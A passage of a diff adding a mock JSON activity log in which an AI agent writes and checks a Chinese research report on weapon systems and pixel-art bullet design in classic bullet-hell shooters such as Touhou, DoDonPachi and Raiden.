**敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。\n- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。\n- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。\n- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。\n- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。\n- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。\n\n---\n\n## 5. 像素 STG 武器视觉设计建议(落地清单)\n\n面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:\n\n### A. 武器体系骨架\n1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。\n2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。\n3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。\n4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。\n5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。\n\n### B. 子弹与特效像素规范\n6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。\n7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。\n8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。\n9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。\n10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。\n11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。\n\n### C. 屏幕可读性指标\n12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。\n13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。\n14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。\n\n---\n\n## 6. 参考资料\n\n以下为本报告主要信息来源(按主题归类):\n\n1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)\n2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)\n3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页\n4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)\n5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式\n6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则\n7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级\n8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹\n9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系\n10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制\n\n---\n\n*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*"}, "ts": 1787459547736}, {"type": "progress", "id": "call_bea4fe7c607c42b7934c370d", "tool": "write_file", "status": "completed", "args": {"file_path": "research/weapon_system/weapon_research.md", "content": "# 经典弹幕射击游戏(STG)武器系统调研报告\n\n> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现\n> 调研日期:2026-08-23\n> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」\n\n---\n\n## 目录\n\n1. [概述](#1-概述)\n2. [玩家武器类型分类](#2-玩家武器类型分类)\n3. [武器升级系统](#3-武器升级系统)\n4. [像素风格表现](#4-像素风格表现)\n5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)\n6. [参考资料](#6-参考资料)\n\n---\n\n## 1. 概述\n\n弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:\n\n1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;\n2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;\n3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。\n\n本报告以三条经典主线为调研对象:\n\n- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)\n- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)\n- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)\n- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充\n\n> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。\n\n---\n\n## 2. 玩家武器类型分类\n\n### 2.1 散弹(Spread Shot)\n\n**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |\n| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |\n| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |\n| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |\n\n**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。\n\n---\n\n### 2.2 集中射击(Focus Shot)\n\n**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |\n| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |\n| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |\n\n**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。\n\n---\n\n### 2.3 激光 / 光束武器(Laser)\n\n**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |\n| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |\n| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |\n\n**设计要点**:\n- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;\n- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");\n- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。\n\n---\n\n### 2.4 追踪弹 / 制导武器(Homing)\n\n**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |\n| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |\n| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |\n\n**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。\n\n---\n\n### 2.5 近战 / 环绕武器(Orbit / Force / Option)\n\n**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |\n| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |\n| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |\n| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |\n\n**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。\n\n---\n\n### 2.6 蓄力射击(Charge Shot)\n\n**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |\n| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |\n\n**设计要点**:\n- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;\n- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。\n\n---\n\n### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)\n\n**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |\n| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |\n| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |\n| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |\n\n**设计要点**:\n- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;\n- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);\n- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。\n\n---\n\n## 3. 武器升级系统\n\n### 3.1 道具拾取升级(P 道具 / Power-Up)\n\n几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:\n\n| 游戏 | 道具 | 升级机制 |\n|---|---|---|\n| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |\n| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |\n| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |\n\n**设计要点**:\n- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;\n- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;\n- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。\n\n### 3.2 多级别火力变化\n\n- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。\n- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。\n- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。\n\n**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。\n\n### 3.3 武器切换机制\n\n| 游戏 | 切换方式 | 说明 |\n|---|---|---|\n| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |\n| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |\n| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |\n| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |\n| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |\n\n**设计要点**:\n- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);\n- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。\n\n### 3.4 东方 Project 的 Power 系统\n\n- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。\n- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。\n- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。\n- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。\n\n### 3.5 怒首领蜂的强化系统\n\n1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。\n2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。\n3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:\n - 全场敌弹消除 + 短暂无敌(80/120 帧);\n - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);\n - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;\n - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。\n - 这是\"用强化换难度\"的经典设计——高回报高风险。\n\n**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。\n\n---\n\n## 4. 像素风格表现\n\n### 4.1 子弹的像素美术设计(大小、形状、颜色)\n\n综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:\n\n- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。\n- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。\n- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。\n- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。\n- **闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。\n- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。\n\n### 4.2 射击特效(muzzle flash、尾迹)\n\n- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。\n- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。\n- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。\n- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。\n\n### 4.3 不同武器类型的视觉区分度\n\n| 武器 | 视觉语言 | 举例 |\n|---|---|---|\n| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |\n| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |\n| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |\n| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |\n| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |\n| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |\n\n### 4.4 屏幕内大量子弹的辨识度设计\n\n- **敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。\n- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。\n- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。\n- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。\n- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。\n- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。\n\n---\n\n## 5. 像素 STG 武器视觉设计建议(落地清单)\n\n面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:\n\n### A. 武器体系骨架\n1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。\n2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。\n3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。\n4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。\n5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。\n\n### B. 子弹与特效像素规范\n6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。\n7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。\n8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。\n9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。\n10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。\n11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。\n\n### C. 屏幕可读性指标\n12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。\n13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。\n14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。\n\n---\n\n## 6. 参考资料\n\n以下为本报告主要信息来源(按主题归类):\n\n1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)\n2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)\n3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页\n4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)\n5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式\n6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则\n7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级\n8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹\n9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系\n10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制\n\n---\n\n*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*"}, "ts": 1787459547771}, {"type": "progress", "id": "call_6418c4c6453f4096af5ef770", "tool": "run_command", "status": "running", "args": {"command": "ls -la /Users/demo/starraid/research/weapon_system/ && echo \"---\" && wc -l /Users/demo/starraid/research/weapon_system/weapon_research.md && echo \"---\" && head -30 /Users/demo/starraid/research/weapon_system/weapon_research.md", "timeout": 30}, "ts": 1787459551154}, {"type": "progress", "id": "call_6418c4c6453f4096af5ef770", "tool": "run_command", "status": "completed", "args": {"command": "ls -la /Users/demo/starraid/research/weapon_system/ && echo \"---\" && wc -l /Users/demo/starraid/research/weapon_system/weapon_research.md && echo \"---\" && head -30 /Users/demo/starraid/research/weapon_system/weapon_research.md", "timeout": 30}, "ts": 1787459551212}, {"type": "progress", "id": "call_edb58b5e3d9e4e5bb85a2ff7", "tool": "run_command", "status": "running", "args": {"command": "tail -20 /Users/demo/starraid/research/weapon_system/weapon_research.md && echo \"=== verify dir ===\" && ls /Users/demo/starraid/research/", "timeout": 30}, "ts": 1787459554673}, {"type": "progress", "id": "call_edb58b5e3d9e4e5bb85a2ff7", "tool": "run_command", "status": "completed", "args": {"command": "tail -20 /Users/demo/starraid/research/weapon_system/weapon_research.md && echo \"=== verify dir ===\" && ls /Users/demo/starraid/research/", "timeout": 30}, "ts": 1787459554722}, {"type": "progress", "id": "call_834359f32bda474dbdd9352c", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [1, 5, 6]}, "ts": 1787459558854}, {"type": "progress", "id": "call_834359f32bda474dbdd9352c", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [1, 5, 6]}, "ts": 1787459558854}]}} \ No newline at end of file diff --git a/website-design/exp/mock/activity-sub_2_1787459391_a9b055.json b/website-design/exp/mock/activity-sub_2_1787459391_a9b055.json new file mode 100644 index 00000000..1026de87 --- /dev/null +++ b/website-design/exp/mock/activity-sub_2_1787459391_a9b055.json @@ -0,0 +1 @@ +{"success": true, "data": {"status": "completed", "entries": [{"type": "progress", "id": "call_cfb299b68dde4a74bfe58bba", "tool": "todo_create", "status": "running", "args": {"overview": 